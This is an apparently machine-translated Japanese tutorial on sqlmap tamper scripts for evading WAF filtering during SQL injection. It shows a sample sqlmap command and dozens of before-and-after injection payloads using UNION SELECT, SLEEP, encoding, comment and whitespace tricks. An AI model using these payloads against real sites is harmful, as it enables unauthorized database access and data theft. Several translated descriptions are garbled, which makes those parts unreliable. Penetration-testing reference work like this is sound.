SqlmapインジェクションタンパーはWAFファイアウォールフィルタリングをバイパスします



Sqlmap Injection Tamper Bypasses Waf Firewall Filtering



SqlmapインジェクションタンパーはWAFファイアウォールフィルタリングをバイパスします

このゴキブリのプロンプトボックスを見ると、何百万頭もの草泥馬が心臓を走っていました。

sqlmap改ざんwaf



sqlmap改ざんwaf

しかし、多くの場合、フィルタリングシステムによってフィルタリングされるパラメータと、それらをバイパスする方法を落ち着かせて分析する必要があります。



sqlmapの改ざんは、非常に実用的な多くのアンチフィルタリングスクリプトをもたらします。一部の友人は、改ざんスクリプトを最も効果的に使用する方法を知らない可能性があります。

もちろん、スクリプトを使用する前に決定する必要があるのは、一重引用符、スペース、select、union、adminなど、システムによってフィルタリングされるキーワードです。

そのため、インジェクションは成功したものの、ダンプがデータを生成しない場合や、選択がフィルタリングされている場合などがあります。



使用するスクリプトを決定する方法

最も簡単な方法は、urlパラメータにキーワードを手動で入力して、フィルタリングされているかどうかを判断することです。

図:

フィルタリングする一重引用符を直接追加します。これは、挿入時に一重引用符を使用できないことを示します。

sqlmap改ざんwaf

スペースと等号はフィルタリングされず、エラーは正常に報告されます。

sqlmap改ざんwaf

選択はフィルタリングされます。

sqlmap改ざんwaf同様に、データがないなどのsqlmapインジェクションに問題がある場合は、対応するキーワードがフィルタリングされているかどうかを確認する必要があります。

たとえば、スペースはspace2comment.pyを使用するようにフィルタリングでき、フィルタリングシステムでは大文字と小文字が区別されます。 randomcase.pyなどを使用できます。

以下は、sqlmapの改ざんパラメータの詳細な説明です。

指示

参照: Sqlmapユーザーマニュアルの詳細[ユーティリティバージョン]

実際の状況に応じて、同時に複数のスクリプトを使用できます。 -vパラメーターを使用すると、ペイロードの変更を確認できます。

sqlmap改ざんwaf

sqlmap.py -u“ http://www.target.com/test.php?id=12” –dbms mysql –tamper“ space2commet、versionedmorekeywords.py” -v 3 –dbs

スクリプト名:apostrophemask.py


役割:引用符の代わりにutf8を使用する

1

Example: ('1 AND '1'='1') '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

テスト対象:すべて

スクリプト名:equaltolike.py


役割:等号の代わりに

1

3

4

5

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

ケース1:http://wooyun.org/bugs/wooyun-2010-087296

ケース2:http://wooyun.org/bugs/wooyun-2010-074790

ケース3:http://wooyun.org/bugs/wooyun-2010-072489

スクリプト名:space2dash.py


役割:フィルター「=」をバイパスすると、スペース文字( ')、(' – ‘)が置き換えられ、その後にダッシュコメント、ランダムな文字列、および改行(' n ')が続きます。

1

Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

テスト対象:* MSSQL * SQLite

ケース1:http://wooyun.org/bugs/wooyun-2010-062878

スクリプト名:greatst.py


役割:フィルター '>'をバイパスし、より大きい数値をGREATESTに置き換えます。

1

Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

スクリプト名:space2hash.py


役割:スペースは##に置き換えられますランダムな文字列と改行

1

3

4

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

要件:

  • MySQLのテスト対象:
  • MySQL 4.0、5.0

スクリプト名:apostrophenullencode.py


役割:二重引用符をバイパスし、文字と二重引用符を置き換えます。

1

Example: tamper('1 AND '1'='1') '1 AND %00%271%00%27=%00%271'

テスト対象:

  • MySQL 4、5.0および5.5
  • Oracle 10g
  • PostgreSQL 8.3、8.4、9.0

スクリプト名:halfversionedmorekeywords.py


役割:データベースがmysqlの場合はファイアウォールをバイパスし、各キーワードの前にmysqlバージョンコメントを追加します

1

3

Example:

('value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa')'value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa'

要件:

  • MySQL<5.1

テスト対象:

  • MySQL 4.0.18、5.0.22

スクリプト名:space2morehash.py


役割:スペースは##以上のランダムな文字列に置き換えられます

1

3

4

5

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

要件:* MySQL> = 5.1.13テスト済み

に対して:* MySQL 5.1.41

ケースナンバーワン: 91ri記事

スクリプト名:appendnullbyte.py


役割:ペイロードの最後にゼロバイトの文字エンコードをロードします

1

Example: ('1 AND 1=1') '1 AND 1=1%00'

要件:

  • Microsoft Access

スクリプト名:ifnull2ifisnull.py


役割:IFNULLフィルターをバイパスします。同様の「IFNULL(A、B)」を「IF(ISNULL(A)、B、A)」に置き換えます

1

3

Example:

('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'

要件:

  • MySQL
  • SQLite(おそらく)
  • SAP MaxDB(おそらく)

テスト対象:

  • MySQL5.0および5.5

スクリプト名:space2mssqlblank.py(mssql)


役割:スペースが他の空のシンボルに置き換えられました

例:*入力:SELECT id FROM users *出力:SELECT%08id%02FROM%0Fusers

要件:* Microsoft SQL Serverのテスト対象:* Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCIIテーブル:


ケース1:wooyun.org/bugs/wooyun-2010-062878

スクリプト名:base64encode.py


役割:base64エンコーディングに置き換えます例:( '1' AND SLEEP(5)# ')‘ MScgQU5EIFNMRUVQKDUpIw == ’要件:すべて

ケース1:http://wooyun.org/bugs/wooyun-2010-060071

ケース2:http://wooyun.org/bugs/wooyun-2010-021062

ケース3:http://wooyun.org/bugs/wooyun-2010-043229

スクリプト名:space2mssqlhash.py


役割:スペースを交換してください

1

Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

スクリプト名:modsecurityversioned.py


役割:完全なクエリバージョンのコメントを含むフィルタースペース

1

Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'

要件:* MySQL

テスト対象:

  • MySQL 5.0

スクリプト名:space2mysqlblank.py


役割:他の空白記号を置き換えるスペース(mysql)

1

3

4

5

Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

要件:

  • MySQL

テスト対象:

  • MySQL 5.1

ケース1:wooyun.org/bugs/wooyun-2010-076735

スクリプト名:between.py


役割:大なり記号(>)をbetweenに置き換えます

1

Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'

テスト対象:

  • Microsoft SQL Server 2005
  • MySQL 4、5.0、および5.5 * Oracle 10g * PostgreSQL 8.3、8.4、9.0

ケース1:wooyun.org/bugs/wooyun-2010-068815

スクリプト名:space2mysqldash.py


役割:スペース文字( ')(' – ‘)を置き換え、その後にダッシュを続けて改行に注釈を付けます(’ n ’)

注:これがmysqlになる前にmssqlがあります

1

Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'

要件:

  • MySQL
  • MSSQL

スクリプト名:multiplespaces.py


役割:SQLキーワードの前後に複数のスペースを追加します

1

Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'

テスト対象:すべて

ケース1:wooyun.org/bugs/wooyun-2010-072489

スクリプト名:space2plus.py


役割:スペースを+に置き換えます

1

Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all

スクリプト名:bluecoat.py


役割:SQLステートメントでスペース文字を有効なランダム空白文字に置き換えます。次に、replace = like

1

Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'

テスト対象:

  • MySQL 5.1、SGOS

スクリプト名:nonrecursivereplacement.py


二重クエリステートメント。事前定義されたSQLキーワードを代替(例:.replace( 'SELECT'、 ')))フィルターの手段に置き換えます

1

Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

スクリプト名:space2randomblank.py


役割:ランダムな空白文字からのスペース文字( '')の代わりに、オプションの文字の有効なセット

1

Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'

テスト対象:すべて

スクリプト名:sp_password.py


役割:DBMSログの自動難読化のペイロードの最後からsp_password 'を追加します

1

Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

スクリプト名:chardoubleencode.py


役割:二重URLエンコード(エンコードするために処理されません)

1

3

4

5

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

スクリプト名:unionalltounion.py


役割:UNION ALL SELECT UNIONSELECTを置き換えます

例:( ‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’

要件:すべて

スクリプト名:charencode.py


役割:URLエンコード

1

3

4

5

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

テスト対象:

  • Microsoft SQL Server 2005
  • MySQL 4、5.0および5.5
  • Oracle 10g
  • PostgreSQL 8.3、8.4、9.0

スクリプト名:randomcase.py


役割:ランダムケース例:

  • 入力:INSERT
  • 出力:InsERt

テスト対象:

  • Microsoft SQL Server 2005
  • MySQL 4、5.0および5.5
  • Oracle 10g
  • PostgreSQL 8.3、8.4、9.0

スクリプト名:unmagicquotes.py


役割:ワイド文字バイパスGPCアッドラッシュ

1

3

4

5

Example:

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

スクリプト名:randomcomments.py


役割:use / ** / splitsqlキーワード

1

3

Example:

INSERT’ becomes ‘IN//S//ERT’

スクリプト名:charunicodeencode.py


役割:文字列Unicodeエンコーディング

1

3

4

5

Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

要件:

  • ASP
  • ASP.NET

テスト対象:

  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3

ケース1:wooyun.org/bugs/wooyun-2010-074261

スクリプト名:securesphere.py


役割:特別な文字列を追加します

1

Example: ('1 AND 1=1') '1 AND 1=1 and '0having'='0having''

テスト対象:すべて

スクリプト名:versionmorekeywords.py


役割:コメントバイパス

1

3

4

5

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION**!ALL**!SELECT**!NULL */,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS **!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

要件:

  • MySQL> = 5.1.13

スクリプト名:space2comment.py


役割:スペース文字( ‘‘)をコメント ‘/ ** /’に置き換えます

1

3

4

5

Example:

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users

テスト対象:

  • Microsoft SQL Server 2005
  • MySQL 4、5.0および5.5
  • Oracle 10g
  • PostgreSQL 8.3、8.4、9.0

ケース1:wooyun.org/bugs/wooyun-2010-046496

スクリプト名:halfversionedmorekeywords.py


役割:キーワードの前にコメントを追加します

1

3

4

5

Example:

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

要件:

  • MySQL<5.1

テスト対象:

  • MySQL 4.0.18、5.0.22